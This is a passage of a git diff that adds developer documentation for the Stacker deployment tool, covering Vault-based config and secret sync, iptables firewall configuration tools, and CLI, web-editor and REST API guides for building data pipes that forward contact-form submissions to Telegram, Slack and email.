+`docker-compose.yml`, but it contains all project services plus the updated +app-local service. The CLI treats the project-level compose as topology in this +path and bundles only files referenced by the target app-local compose, so a +missing `env_file` for an unrelated service does not block app-only updates. +Stacker also keeps the bundled config files and appends the Vault-rendered +service secrets to the `.env` file referenced by the matching compose service. +This lets `device-api/docker/prod/compose.yml` with `env_file: .env` receive +both local `.env` content and Vault-backed service secrets without truncating +the remote project compose file. On later resyncs, the previously appended +`# stacker-render ...` block is replaced with the freshly rendered one so +remote app-local `.env` files do not accumulate duplicate secret sections. If +the server cannot render the runtime env for a registered target, the enqueue +request fails so Status does not deploy a partial app-local `.env`. + +### 5. ProjectAppService + +**Location**: `src/services/project_app_service.rs` + +**Purpose**: High-level service for managing project apps with automatic Vault synchronization. + +**Key Features**: +- Automatic Vault sync on create/update/delete (uses `_env` key) +- Config versioning and drift detection +- Bulk sync for deployment refreshes + +### 6. Database Schema (project_app) + +**Migration**: `migrations/20260129120000_add_config_versioning` + +**New Fields**: +```sql +ALTER TABLE project_app ADD COLUMN config_version INTEGER DEFAULT 1; +ALTER TABLE project_app ADD COLUMN config_hash VARCHAR(64); +ALTER TABLE project_app ADD COLUMN vault_synced_at TIMESTAMP; +``` + +--- + +## Configuration Delivery Method + +### Selected: Individual File Sync + Optional Archive + +**Rationale**: +- **Individual files**: Efficient for single-app updates, supports incremental sync +- **Archive option**: Useful for initial deployment or full-stack rollback + +**Flow**: +``` +project_app → ConfigRenderer → Vault KV v2 → Status Panel → Filesystem + ↓ + (optional tar.gz for bulk operations) +``` + +--- + +## Environment Variables + +### Stacker Service + +| Variable | Description | Example | +|----------|-------------|---------| +| `VAULT_ADDR` | Vault server URL | `https://vault.trydirect.io:8200` | +| `VAULT_TOKEN` | Stacker's service token (write access) | (from Install Service) | +| `VAULT_MOUNT` | KV v2 mount path | `status_panel` | + +### Status Panel Agent + +| Variable | Description | Example | +|----------|-------------|---------| +| `VAULT_ADDRESS` | Vault server URL | `https://vault.trydirect.io:8200` | +| `VAULT_TOKEN` | Per-deployment scoped token (read-only) | (provisioned during deploy) | +| `VAULT_AGENT_PATH_PREFIX` | KV mount/prefix | `status_panel` | + +--- + +## Security Considerations + +### Secrets Never in Git +- All sensitive data (passwords, API keys) stored in Vault +- Configuration templates use placeholders: `{{ DB_PASSWORD }}` +- Rendered values never committed to source control + +### File Permissions +- Sensitive configs: `0600` (owner read/write only) +- General configs: `0644` (world readable) +- Owner/group can be specified per-file + +### Audit Trail +- Vault logs all secret access with timestamps +- Stacker logs config sync operations +- Status Panel logs file write operations + +### Encryption +- **At Rest**: Vault encrypts all secrets before storage +- **In Transit**: TLS for all Vault API communication +- **On Disk**: Files written with restrictive permissions + +--- + +## Related Documentation + +- [Status Panel APP_DEPLOYMENT.md](../../status/docs/APP_DEPLOYMENT.md) - Agent-side configuration handling +- [VaultClient](../../status/src/security/vault_client.rs) - Status Panel Vault integration +- [ConfigRenderer](../src/services/config_renderer.rs) - Stacker configuration rendering + +--- + +## Firewall Configuration (iptables) + +Stacker supports configuring iptables firewall rules on target servers. Rules can be derived from Ansible role port definitions or specified manually. + +### Execution Methods + +| Method | Description | When to Use | +|--------|-------------|-------------| +| **Status Panel** | Commands executed directly on target server via Status Panel agent | Preferred - servers with Status Panel installed | +| **SSH** | Commands executed via SSH/Ansible | Fallback - servers without Status Panel | + +### Port Types + +| Port Type | Description | Default Source | +|-----------|-------------|----------------| +| **Public Ports** | Accessible from any IP (internet-facing) | `0.0.0.0/0` | +| **Private Ports** | Restricted to internal networks | `10.0.0.0/8` (configurable) | + +### MCP Tools + +#### `configure_firewall` +Configure iptables rules on a deployment target server. + +```json +{ + "deployment_hash": "abc123", + "action": "add", + "public_ports": [ + {"port": 80, "protocol": "tcp"}, + {"port": 443, "protocol": "tcp"} + ], + "private_ports": [ + {"port": 5432, "protocol": "tcp", "source": "10.0.0.0/8"} + ], + "persist": true, + "execution_method": "status_panel" +} +``` + +#### `list_firewall_rules` +List current iptables rules on a deployment. + +```json +{ + "deployment_hash": "abc123" +} +``` + +#### `configure_firewall_from_role` +Configure firewall rules based on an Ansible role's port definitions. + +```json +{ + "role_name": "nginx", + "deployment_hash": "abc123", + "action": "add", + "private_network": "10.0.0.0/8" +} +``` + +### Status Panel Command + +The `configure_firewall` command type is sent to Status Panel agents: + +```json +{ + "deployment_hash": "abc123", + "command_type": "configure_firewall", + "parameters": { + "action": "add", + "public_ports": [{"port": 80, "protocol": "tcp", "source": "0.0.0.0/0"}], + "private_ports": [{"port": 5432, "protocol": "tcp", "source": "10.0.0.0/8"}], + "persist": true + } +} +``` + +### Integration with Ansible Roles + +Ansible roles define `public_ports` and `private_ports` arrays. When deploying via SSH method or using `configure_firewall_from_role`, these port definitions are automatically converted to iptables rules: + +- **Public ports**: Allow incoming TCP/UDP from `0.0.0.0/0` +- **Private ports**: Allow incoming TCP/UDP from specified internal network only diff --git a/stacker/stacker/docs/DAG_PIPES_DEVELOPER_MANUAL.md b/stacker/stacker/docs/DAG_PIPES_DEVELOPER_MANUAL.md new file mode 100644 index 0000000..3ec84f2 --- /dev/null +++ b/stacker/stacker/docs/DAG_PIPES_DEVELOPER_MANUAL.md @@ -0,0 +1,23 @@ +# DAG Pipes — Developer Manual + +Build and run data pipelines that connect your deployed services. Route contact form submissions to Telegram, sync database changes to Slack, send confirmation emails — all with simple CLI commands or drag-and-drop. + +## Guide Overview + +| Part | For | What you'll learn | +|------|-----|------------------| +| **[Part 1: CLI Guide](./DAG_PIPES_PART1_CLI_GUIDE.md)** | Getting started | Create and run pipes using `stacker pipe` commands (includes local mode) | +| **[Part 2: Visual Editor](./DAG_PIPES_PART2_WEB_EDITOR.md)** | Visual builders | Drag-and-drop pipeline builder in your browser | +| **[Part 3: REST API Deep Dive](./DAG_PIPES_PART3_API_DEEP_DIVE.md)** | Automation & scripting | Full API reference, curl scripts, gRPC streaming | + +> **💡 Local mode**: You can build and test pipes against local Docker containers without a cloud deployment. See the [Local Mode section in Part 1](./DAG_PIPES_PART1_CLI_GUIDE.md#local-mode-experimental) for setup and workflow. + +## Examples in All Three Guides + +Each guide walks through the same practical examples: + +1. **Contact Form → Telegram + Slack** — forward form submissions to both channels simultaneously +2. **Contact Form → PostgreSQL CDC → Telegram** — database watches for new rows, sends notifications automatically +3. **Contact Form → Email + Slack** — send confirmation email + team notification + +**Start with [Part 1](./DAG_PIPES_PART1_CLI_GUIDE.md)** — it takes 5 minutes and covers everything you need to get a pipe running. diff --git a/stacker/stacker/docs/DAG_PIPES_PART1_CLI_GUIDE.md b/stacker/stacker/docs/DAG_PIPES_PART1_CLI_GUIDE.md new file mode 100644 index 0000000..078d887 --- /dev/null +++ b/stacker/stacker/docs/DAG_PIPES_PART1_CLI_GUIDE.md @@ -0,0 +1,380 @@ +# DAG Pipes — Part 1: CLI Guide + +Build and run data pipelines using `stacker pipe` commands. No code, no curl — just the CLI. + +> **Other guides:** +> [Part 2: Visual Editor (Web UI)](./DAG_PIPES_PART2_WEB_EDITOR.md) · +> [Part 3: REST API Deep Dive](./DAG_PIPES_PART3_API_DEEP_DIVE.md) + +--- + +## What is a Pipe? + +A pipe connects services in your deployment. Data flows from a **source** (where data comes from) through optional **transforms** and **conditions**, to one or more **targets** (where data goes). + +``` +[Source] → [Transform] → [Target] +``` + +That's it. Stacker handles the wiring, execution, retries, and history. + +--- + +## Getting Started + +```bash +# 1. Login +stacker login + +# 2. Make sure you have a deployment running +stacker status +``` + +> **💡 No cloud deployment yet?** You can experiment locally first — see [Local Mode](#local-mode-experimental) below. + +--- + +## Example 1: Contact Form → Telegram + Slack + +**Goal**: When someone submits a contact form, notify your team on both Telegram and Slack. + +### Step 1 — Scan your services + +```bash +# Remote deployment: probe app endpoints +stacker pipe scan --app website + +# See what APIs are available with sample data +stacker pipe scan --app website --capture-samples +``` + +Output: +``` +App: website +Protocols detected: rest + +[rest] http://website:3000 + POST /api/contact -- Submit contact form + fields: [name, email, message] + sample: {"name":"Alice","email":"alice@example.com","message":"Hello"} +``` + +### Step 2 — Create the pipe + +```bash +# Interactive wizard walks you through it +stacker pipe create website telegram +``` + +The wizard will: +1. Scan both apps/containers for endpoints +2. Let you pick source endpoint (POST /api/contact) +3. Let you pick target endpoint (sendMessage) +4. Auto-match fields (`name` → text, `email` → text) +5. Ask for a pipe name + +Repeat for Slack: +```bash +stacker pipe create website slack +``` + +### Step 3 — Activate + +```bash +# List your pipes to get the IDs +stacker pipe list + +# Activate both — webhook mode triggers on each form submission +stacker pipe activate +stacker pipe activate +``` + +### Step 4 — Test it + +```bash +# Manual trigger with test data +stacker pipe trigger \ + --data '{"name":"Alice","email":"alice@example.com","message":"Hello!"}' +``` + +### Step 5 — Check history + +```bash +stacker pipe history +``` + +``` +EXECUTION ID TRIGGER STATUS DURATION STARTED +───────────────────────────────────────────────────────────────── +a1b2c3d4-e5f6-... manual success 342ms 2026-04-16T13:00:00Z + +1 execution(s) shown. +``` + +--- + +## Example 2: Contact Form → PostgreSQL CDC → Telegram + +**Goal**: Your website saves contact forms to PostgreSQL normally. The pipe watches for new rows and sends a Telegram notification — no changes to your website code needed. + +``` +Website → writes to PostgreSQL (as usual) + ↓ CDC detects new row + [cdc_source] → [transform] → [target: telegram] +``` + +### Step 1 — Scan PostgreSQL for CDC + +```bash +stacker pipe scan postgresql --protocols cdc +``` + +Output: +``` +App: postgresql +Protocols detected: cdc + +[cdc] postgresql://postgres:5432 + TABLE public.contacts -- Contact form submissions + fields: [id, name, email, message, created_at] + TABLE public.users -- User accounts + fields: [id, email, password_hash, created_at] +``` + +### Step 2 — Create the pipe + +```bash +stacker pipe create postgresql telegram +# Select: TABLE public.contacts → POST sendMessage +# The wizard maps: name, email, message → text field +``` + +### Step 3 — Activate with webhook trigger + +```bash +stacker pipe activate --trigger webhook +``` + +Now every INSERT into the `contacts` table automatically sends a Telegram message. No polling, no cron jobs. + +### Step 4 — Verify + +```bash +# Insert a test row into PostgreSQL (from your app or directly) +# Then check pipe history: +stacker pipe history +``` + +--- + +## Example 3: Contact Form → Email + Slack + +**Goal**: Send a confirmation email to the user AND post to your team's Slack channel. + +### Step 1 — Create both pipes + +```bash +# Pipe 1: website → email service +stacker pipe create website email-service + +# Pipe 2: website → slack +stacker pipe create website slack +``` + +### Step 2 — Activate both + +```bash +stacker pipe activate --trigger webhook +stacker pipe activate --trigger webhook +``` + +### Step 3 — Test + +```bash +# Trigger both with the same data +stacker pipe trigger \ + --data '{"name":"Carol","email":"carol@example.com","message":"Demo please"}' + +stacker pipe trigger \ + --data '{"name":"Carol","email":"carol@example.com","message":"Demo please"}' +``` + +--- + +## Command Reference + +| Command | What it does | +|---------|-------------| +| `stacker pipe scan` | Discover local Docker containers | +| `stacker pipe scan --containers [filter]` | Discover local containers by name | +| `stacker pipe scan --app ` | Discover what APIs a remote app exposes | +| `stacker pipe create ` | Create a pipe (interactive wizard) | +| `stacker pipe list` | Show all pipes for your deployment | +| `stacker pipe activate ` | Start the pipe (begin listening) | +| `stacker pipe deactivate ` | Stop the pipe | +| `stacker pipe trigger ` | Run the pipe once manually | +| `stacker pipe history ` | View past executions | +| `stacker pipe replay ` | Re-run a past execution | +| `stacker pipe deploy --deployment ` | Promote local pipe to remote | +| `stacker target [local\|cloud\|server]` | Switch deployment target mode | + +### Useful flags + +| Flag | Used with | What it does | +|------|-----------|-------------| +| `--json` | Any command | Output as JSON (for scripting) | +| `--trigger webhook` | `activate` | Listen for events in real-time (default) | +| `--trigger poll` | `activate` | Check for changes periodically | +| `--poll-interval 60` | `activate` | Poll every N seconds | +| `--trigger manual` | `activate` | Only run when you call `trigger` | +| `--data '{...}'` | `trigger` | Pass custom input data | +| `--capture-samples` | `scan` | Show real response examples | +| `--ai` | `create` | Use AI for smart field matching | +| `--no-ai` | `create` | Use deterministic matching only | +| `--manual` | `create` | Skip auto-matching entirely | +| `--limit 50` | `history` | Show more results | + +--- + +## Trigger Types Explained + +| Type | How it works | Best for | +|------|-------------|----------| +| **webhook** | Fires instantly when data arrives | Real-time notifications | +| **poll** | Checks for new data every N seconds | Periodic syncs, batch jobs | +| **manual** | Only runs when you say `pipe trigger` | Testing, one-off transfers | + +--- + +## Debugging + +```bash +# See what went wrong +stacker pipe history --json | jq '.[0]' + +# Replay a failed execution (retries with same input) +stacker pipe replay + +# Trigger with custom test data +stacker pipe trigger --data '{"name":"test","email":"test@test.com","message":"debug"}' +``` + +--- + +## Local Mode (Experimental) + +Local mode lets you design, test, and iterate on pipes **without a cloud deployment**. Pipes run against your local Docker containers. + +### Setting Up Local Mode + +```bash +# Switch to local mode +stacker target local + +# Verify active target +stacker target +# Output: Active target: local + +# All pipe commands now show [local] prefix +stacker pipe scan +# [local] ✓ 3 containers discovered +# [local] ✓ 7 endpoints/resources discovered +``` + +### Local Workflow + +```bash +# 1. Discover local endpoints/resources from running containers +stacker pipe scan + +# Optional: narrow to matching container names +stacker pipe scan --containers website + +# 2. Create a pipe — no deployment hash needed +stacker pipe create website telegram +# [local] ✓ Pipe instance created (id: abc-123) + +# 3. Trigger locally (executes via docker exec) +stacker pipe trigger abc-123 --data '{"name":"test","email":"test@test.com"}' + +# 4. Check history +stacker pipe history abc-123 + +# 5. When ready — promote to a remote deployment +stacker pipe deploy abc-123 --deployment +# ✓ Local pipe promoted to remote deployment +# Remote instance ID: def-456 +# Use 'stacker pipe activate def-456' to start the remote pipe. +``` + +### Switching Targets + +```bash +stacker target local # local Docker containers +stacker target cloud # cloud deployment (from prior deploy) +stacker target server # dedicated server deployment +stacker target # show current +``` + +### What Works Locally + +| Command | Local Behavior | +|---------|---------------| +| `pipe scan` | Discovers local endpoints/resources from running containers | +| `pipe scan --containers [filter]` | Filters matching containers, then probes their endpoints/resources | +| `pipe scan --app ` | Not used locally — use container discovery instead | +| `pipe create` | Creates pipe with `is_local=true`, no deployment hash | +| `pipe list` | Shows your local pipes only | +| `pipe trigger` | Executes via `docker exec` / HTTP | +| `pipe history` | Shows execution history | +| `pipe deploy` | Promotes local pipe → remote deployment | +| `pipe activate/deactivate` | Remote only (use after deploy) | +| `pipe replay` | Remote only | + +### Scan Semantics + +- **Local target** → scan works with **containers** +- **Remote target** → scan works with **apps**, optionally narrowed by `--container` + +```bash +# Local +stacker pipe scan +stacker pipe scan --containers upload + +# Remote +stacker pipe scan --app website +stacker pipe scan --app website --container website-web-1 +``` + +Legacy `stacker pipe scan ` still works during the transition: + +- in **local mode** it is treated as a container name filter +- in **remote mode** it is treated as an app code + +When local scan succeeds, expect output like: + +```text +[local] ✓ 1 container(s) discovered + + Containers matched: 1 + local-device-api-1 [app-network] example/device-api:local + addresses: 172.18.0.20:5050 + + App: device-api + Protocols detected: openapi, postgres + + [openapi] http://172.18.0.20:5050/openapi.json + GET /devices + fields: [id, name] + + Resources: + [postgres] postgres://172.18.0.10:5432/app (local-postgres-1) + table public.devices -- CDC candidate +``` + +--- + +## What's Next? + +- **[Part 2: Visual Editor](./DAG_PIPES_PART2_WEB_EDITOR.md)** — Build pipes with drag-and-drop in your browser +- **[Part 3: REST API Deep Dive](./DAG_PIPES_PART3_API_DEEP_DIVE.md)** — Full API reference, curl scripts, gRPC streaming, advanced DAG features diff --git a/stacker/stacker/docs/DAG_PIPES_PART2_WEB_EDITOR.md b/stacker/stacker/docs/DAG_PIPES_PART2_WEB_EDITOR.md new file mode 100644 index 0000000..11ef6f4 --- /dev/null +++ b/stacker/stacker/docs/DAG_PIPES_PART2_WEB_EDITOR.md @@ -0,0 +1,189 @@ +# DAG Pipes — Part 2: Visual Editor (Web UI) + +Build data pipelines with drag-and-drop — no terminal needed. + +> **Other guides:** +> [Part 1: CLI Guide](./DAG_PIPES_PART1_CLI_GUIDE.md) · +> [Part 3: REST API Deep Dive](./DAG_PIPES_PART3_API_DEEP_DIVE.md) + +--- + +## Open the Editor + +``` +http://localhost:8080/editor +``` + +> **Demo Mode**: The editor works without login for local experimentation. Changes exist only in the browser. Click **"Sign Up / Login"** to save pipelines to the server. + +--- + +## Quick Start: Contact Form → Telegram + Slack + +Let's build Example 1 from the CLI guide — visually. + +### 1. Start with a template (optional) + +Click **"Use Template"** and pick one: + +| Template | What you get | +|----------|-------------| +| **ETL Pipeline** | source → transform → target (simplest) | +| **Webhook Router** | source → condition → two targets | +| **CDC Replicator** | CDC source → transform → target | + +Or start from scratch (next step). + +### 2. Drag steps from the palette + +The **left sidebar** has all available step types organized by category: + +**Sources** (where data comes from): +| Step | Icon | Use for | +|------|------|---------| +| Source | 📥 | REST API / webhook | +| CDC Source | 🔄 | PostgreSQL table changes | +| AMQP Source | 🐰 | RabbitMQ messages | +| Kafka Source | 📨 | Kafka topics | +| WebSocket Source | 🔌 | WebSocket streams | +| HTTP Stream | 🌊 | Server-Sent Events | +| gRPC Source | ⚡ | gRPC server-streaming | + +**Processing** (transform and route): +| Step | Icon | Use for | +|------|------|---------| +| Transform | 🔀 | Map/rename fields | +| Condition | ❓ | Filter (if/else branching) | +| Parallel Split | ⑃ | Fan-out to multiple targets | +| Parallel Join | ⑂ | Merge parallel branches | + +**Targets** (where data goes): +| Step | Icon | Use for | +|------|------|---------| +| Target | 📤 | REST API / webhook | +| WebSocket Target | 🔌 | Send via WebSocket | +| gRPC Target | ⚡ | Send via gRPC | + +For our example, drag these onto the canvas: + +1. **Source** 📥 — the contact form +2. **Parallel Split** ⑃ — fan out to both targets +3. **Target** 📤 — Telegram +4. **Target** 📤 — Slack +5. **Parallel Join** ⑂ — merge results + +### 3. Connect the steps + +Click the **output handle** (small circle on the right side of a node) and drag to the **input handle** (left side of the next node): + +``` +Source ──→ Parallel Split ──→ Target (Telegram) + ──→ Target (Slack) + Target (Telegram) ──→ Parallel Join + Target (Slack) ──→ Parallel Join +``` + +### 4. Configure each step + +**Click any node** to open the **config panel** on the right side. + +#### Source: contact_form +- **Name**: `contact_form` +- **URL**: `http://website:3000/api/contact` +- **Method**: `POST` + +#### Target: telegram +- **Name**: `telegram_notify` +- **URL**: `https://api.telegram.org/bot/sendMessage` +- **Method**: `POST` + +#### Target: slack +- **Name**: `slack_notify` +- **URL**: `https://hooks.slack.com/services/T.../B.../xxx` +- **Method**: `POST` + +> **Advanced config**: Toggle **"Advanced JSON"** at the bottom of the config panel to edit the raw JSON config directly. + +### 5. Validate + +Click the **"Validate"** button in the toolbar. + +- ✅ **Green toast** = DAG is valid +- ❌ **Red toast** = something's wrong (missing source, missing target, cycle detected, etc.) + +### 6. Execute + +Click **"Execute"** to run the pipeline with test data. + +--- + +## Building Example 2: CDC → Telegram + +1. Drag **CDC Source** 🔄 onto the canvas +2. Click it and configure: + - **Replication Slot**: `contacts_pipe_slot` + - **Publication**: `contact_pub` + - **Tables**: `public.contacts` +3. Drag **Transform** 🔀 → configure field mappings +4. Drag **Target** 📤 → set Telegram API URL +5. Connect: CDC Source → Transform → Target +6. Click **Validate** → **Execute** + +--- + +## Building Example 3: Form → Email + Slack + +1. Drag **Source** 📥 (form webhook) +2. Drag **Parallel Split** ⑃ +3. Drag two **Target** 📤 nodes (email service + Slack) +4. Drag **Parallel Join** ⑂ +5. Connect: Source → Split → both Targets → Join +6. Configure each target with its URL +7. **Validate** → **Execute** + +--- + +## Keyboard Shortcuts + +| Key | Action | +|-----|--------| +| `Delete` / `Backspace` | Delete selected edge or node | +| Drag from handle | Create a connection | +| Click a node | Open config panel | +| Scroll wheel | Zoom in / out | +| Click + drag canvas | Pan around | + +--- + +## Tips + +- **Delete a connection**: Click on the edge (it highlights), then press `Delete` or `Backspace` +- **Delete a step**: Click the node, then press `Delete` +- **Move a step**: Click and drag it to a new position +- **Zoom to fit**: Scroll out or use the minimap (bottom-right) +- **Switch to JSON editing**: Toggle "Advanced JSON" in the config panel for full control +- **Start from a template**: Much faster than building from scratch — customize from there + +--- + +## Demo Mode vs Authenticated + +| Feature | Demo Mode | Logged In | +|---------|-----------|-----------| +| Build pipelines | ✅ | ✅ | +| Drag & drop | ✅ | ✅ | +| Validate | ❌ (skipped) | ✅ | +| Execute | ❌ (skipped) | ✅ | +| Save to server | ❌ | ✅ | +| Load existing pipes | ❌ | ✅ | + +Demo mode is great for learning the interface. Sign in to actually run pipelines. + +> **💡 Local mode (CLI)**: For local experimentation with _real_ execution, use `stacker target local` and the CLI pipe commands (see [Part 1: Local Mode](./DAG_PIPES_PART1_CLI_GUIDE.md#local-mode-experimental)). Local pipes can later be promoted to remote via `stacker pipe deploy`. + +--- + +## What's Next? + +- **[Part 1: CLI Guide](./DAG_PIPES_PART1_CLI_GUIDE.md)** — Same examples using terminal commands +- **[Part 3: REST API Deep Dive](./DAG_PIPES_PART3_API_DEEP_DIVE.md)** — Full API reference, automation scripts, gRPC streaming diff --git a/stacker/stacker/docs/DAG_PIPES_PART3_API_DEEP_DIVE.md b/stacker/stacker/docs/DAG_PIPES_PART3_API_DEEP_DIVE.md new file mode 100644 index 0000000..7a4eeeb --- /dev/null +++ b/stacker/stacker/docs/DAG_PIPES_PART3_API_DEEP_DIVE.md @@ -0,0 +1,481 @@ +# DAG Pipes — Part 3: REST API Deep Dive + +Automate pipeline creation with curl/scripts. Full API reference, gRPC streaming, and advanced DAG features. + +> **Other guides:** +> [Part 1: CLI Guide](./DAG_PIPES_PART1_CLI_GUIDE.md) · +> [Part 2: Visual Editor (Web UI)](./DAG_PIPES_PART2_WEB_EDITOR.md) + +--- + +## Setup + +```bash +# Auth token (all API calls require this) +BASE="http://localhost:8080/api/v1" +AUTH="Authorization: Bearer $(stacker token)" +CT="Content-Type: application/json" +``` + +--- + +## Concepts + +### Templates vs Instances + +- **Template** = reusable pipeline definition (steps + edges). Shareable across deployments. +- **Instance** = a template bound to a specific deployment. Tracks status, trigger counts, execution history. + +### DAG Structure + +A template contains **steps** (nodes) and **edges** (connections): + +``` +Steps: [source, transform, condition, target, ...] +Edges: [source→transform, transform→condition, condition→target, ...] +``` + +Steps are executed **level-by-level** (topological sort). Steps at the same level run in parallel. + +### Validation Rules + +- At least **one source** step required +- At least **one target** step required +- **No cycles** (it's a Directed Acyclic Graph) + +--- + +## Step Types Reference + +### Sources + +| Type | Config Fields | Description | +|------|--------------|-------------| +| `source` | `url`, `method`, `headers` | Generic REST source | +| `cdc_source` | `replication_slot`, `publication`, `tables` | PostgreSQL CDC | +| `amqp_source` | `queue`, `exchange`, `routing_key` | RabbitMQ consumer | +| `kafka_source` | `brokers`, `topic`, `group_id` | Kafka consumer | +| `ws_source` | `url` | WebSocket consumer | +| `http_stream_source` | `url`, `event_filter` | Server-Sent Events | +| `grpc_source` | `endpoint`, `pipe_instance_id`, `step_id` | gRPC server-streaming | + +### Processing + +| Type | Config Fields | Description | +|------|--------------|-------------| +| `transform` | `field_mapping` | JSONPath field mapping | +| `condition` | `field`, `operator`, `value` | Conditional branching | +| `parallel_split` | *(none)* | Fork into parallel branches | +| `parallel_join` | *(none)* | Merge parallel branches | + +### Targets + +| Type | Config Fields | Description | +|------|--------------|-------------| +| `target` | `url`, `method`, `headers`, `body_template` | Generic REST target | +| `ws_target` | `url` | WebSocket sender | +| `grpc_target` | `endpoint`, `pipe_instance_id`, `step_id` | gRPC unary call | + +### Condition Operators + +| Operator | Meaning | +|----------|---------| +| `eq` | Equals | +| `ne` | Not equals | +| `gt` | Greater than | +| `lt` | Less than | +| `gte` | Greater or equal | +| `lte` | Less or equal | + +--- + +## Example: Contact Form → Telegram + Slack (scripted) + +Complete automation script — creates the pipeline, validates, and runs it. + +```bash +#!/bin/bash +# example1-contact-to-telegram-slack.sh +set -euo pipefail + +BASE="http://localhost:8080/api/v1" +AUTH="Authorization: Bearer $(stacker token)" +CT="Content-Type: application/json" + +# Helper functions +add_step() { + curl -sf -X POST "$DAG/steps" -H "$AUTH" -H "$CT" -d "$1" | jq -r '.item.id' +} +add_edge() { + curl -sf -X POST "$DAG/edges" -H "$AUTH" -H "$CT" -d "$1" > /dev/null +} + +# --- Create template --- +TEMPLATE=$(curl -sf -X POST "$BASE/pipes/templates" \ + -H "$AUTH" -H "$CT" \ + -d '{"name":"Contact Form → Telegram + Slack"}' \ + | jq -r '.item.id') +echo "Template: $TEMPLATE" +DAG="$BASE/pipes/$TEMPLATE/dag" + +# --- Add steps --- +SOURCE=$(add_step '{ + "name": "contact_form", + "step_type": "source", + "step_order": 1, + "config": {"url": "http://website:3000/api/contact", "method": "POST"} +}') + +SPLIT=$(add_step '{ + "name": "fan_out", + "step_type": "parallel_split", + "step_order": 2, + "config": {} +}') + +TELEGRAM=$(add_step '{ + "name": "telegram_notify", + "step_type": "target", + "step_order": 3, + "config": { + "url": "https://api.telegram.org/bot/sendMessage", + "method": "POST", + "headers": {"Content-Type": "application/json"}, + "body_template": { + "chat_id": "", + "text": "📬 New contact from {{name}} ({{email}}): {{message}}" + } + } +}') + +SLACK=$(add_step '{ + "name": "slack_notify", + "step_type": "target", + "step_order": 3, + "config": { + "url": "https://hooks.slack.com/services/T.../B.../xxx", + "method": "POST", + "headers": {"Content-Type": "application/json"}, + "body_template": { + "text": "📬 *New contact*\n• {{name}} ({{email}})\n• {{message}}" + } + } +}') + +JOIN=$(add_step '{"name":"merge","step_type":"parallel_join","step_order":4,"config":{}}') + +# --- Connect edges --- +add_edge "{\"from_step_id\":\"$SOURCE\",\"to_step_id\":\"$SPLIT\"}" +add_edge "{\"from_step_id\":\"$SPLIT\",\"to_step_id\":\"$TELEGRAM\"}" +add_edge "{\"from_step_id\":\"$SPLIT\",\"to_step_id\":\"$SLACK\"}" +add_edge "{\"from_step_id\":\"$TELEGRAM\",\"to_step_id\":\"$JOIN\"}" +add_edge "{\"from_step_id\":\"$SLACK\",\"to_step_id\":\"$JOIN\"}" + +# --- Validate --- +echo "Validating..." +curl -sf -X POST "$DAG/validate" -H "$AUTH" -H "$CT" | jq . + +# --- Create instance & execute --- +INSTANCE=$(curl -sf -X POST "$BASE/pipes/instances" \ + -H "$AUTH" -H "$CT" \ + -d "{\"pipe_template_id\":\"$TEMPLATE\",\"deployment_hash\":\"my-deploy\",\"name\":\"Contact notifications\"}" \ + | jq -r '.item.id') + +echo "Executing with test data..." +curl -sf -X POST "$BASE/pipes/instances/$INSTANCE/dag/execute" \ + -H "$AUTH" -H "$CT" \ + -d '{ + "input_data": { + "name": "Alice", + "email": "alice@example.com", + "message": "Hello, I need help!" + } + }' | jq '.status, .completed_steps, .failed_steps' + +echo "✅ Done! Instance: $INSTANCE" +``` + +--- + +## Example: CDC → Telegram (scripted) + +```bash +#!/bin/bash +# example2-cdc-contact-to-telegram.sh +set -euo pipefail + +BASE="http://localhost:8080/api/v1" +AUTH="Authorization: Bearer $(stacker token)" +CT="Content-Type: application/json" + +add_step() { curl -sf -X POST "$DAG/steps" -H "$AUTH" -H "$CT" -d "$1" | jq -r '.item.id'; } +add_edge() { curl -sf -X POST "$DAG/edges" -H "$AUTH" -H "$CT" -d "$1" > /dev/null; } + +TEMPLATE=$(curl -sf -X POST "$BASE/pipes/templates" \ + -H "$AUTH" -H "$CT" \ + -d '{"name":"CDC Contact → Telegram"}' | jq -r '.item.id') +DAG="$BASE/pipes/$TEMPLATE/dag" + +CDC=$(add_step '{ + "name": "pg_contacts", + "step_type": "cdc_source", + "step_order": 1, + "config": { + "replication_slot": "contacts_pipe_slot", + "publication": "contact_pub", + "tables": ["public.contacts"] + } +}') + +TRANSFORM=$(add_step '{ + "name": "format_message", + "step_type": "transform", + "step_order": 2, + "config": { + "field_mapping": { + "chat_id": "", + "text": "📬 New contact!\nName: $.after.name\nEmail: $.after.email\nMessage: $.after.message" + } + } +}') + +TELEGRAM=$(add_step '{ + "name": "telegram", + "step_type": "target", + "step_order": 3, + "config": { + "url": "https://api.telegram.org/bot/sendMessage", + "method": "POST" + } +}') + +add_edge "{\"from_step_id\":\"$CDC\",\"to_step_id\":\"$TRANSFORM\"}" +add_edge "{\"from_step_id\":\"$TRANSFORM\",\"to_step_id\":\"$TELEGRAM\"}" + +curl -sf -X POST "$DAG/validate" -H "$AUTH" -H "$CT" | jq . +echo "✅ Template: $TEMPLATE" +``` + +Test with simulated CDC event: +```bash +curl -sf -X POST "$BASE/pipes/instances/$INSTANCE/dag/execute" \ + -H "$AUTH" -H "$CT" \ + -d '{ + "input_data": { + "table_name": "contacts", + "operation": "INSERT", + "after": {"id": 42, "name": "Bob", "email": "bob@example.com", "message": "Hi there"}, + "captured_at": "2026-04-16T13:00:00Z" + } + }' | jq . +``` + +--- + +## REST API Reference + +### Templates + +| Method | Path | Description | +|--------|------|-------------| +| `POST` | `/api/v1/pipes/templates` | Create template | +| `GET` | `/api/v1/pipes/templates` | List templates | +| `GET` | `/api/v1/pipes/templates/{id}` | Get template | +| `DELETE` | `/api/v1/pipes/templates/{id}` | Delete template | + +### DAG Steps + +| Method | Path | Description | +|--------|------|-------------| +| `POST` | `/api/v1/pipes/{template_id}/dag/steps` | Add step | +| `GET` | `/api/v1/pipes/{template_id}/dag/steps` | List steps | +| `GET` | `/api/v1/pipes/{template_id}/dag/steps/{step_id}` | Get step | +| `PUT` | `/api/v1/pipes/{template_id}/dag/steps/{step_id}` | Update step | +| `DELETE` | `/api/v1/pipes/{template_id}/dag/steps/{step_id}` | Delete step | + +### DAG Edges + +| Method | Path | Description | +|--------|------|-------------| +| `POST` | `/api/v1/pipes/{template_id}/dag/edges` | Add edge | +| `GET` | `/api/v1/pipes/{template_id}/dag/edges` | List edges | +| `DELETE` | `/api/v1/pipes/{template_id}/dag/edges/{edge_id}` | Delete edge | + +### DAG Validation & Execution + +| Method | Path | Description | +|--------|------|-------------| +| `POST` | `/api/v1/pipes/{template_id}/dag/validate` | Validate DAG | +| `POST` | `/api/v1/pipes/instances/{instance_id}/dag/execute` | Execute DAG | +| `GET` | 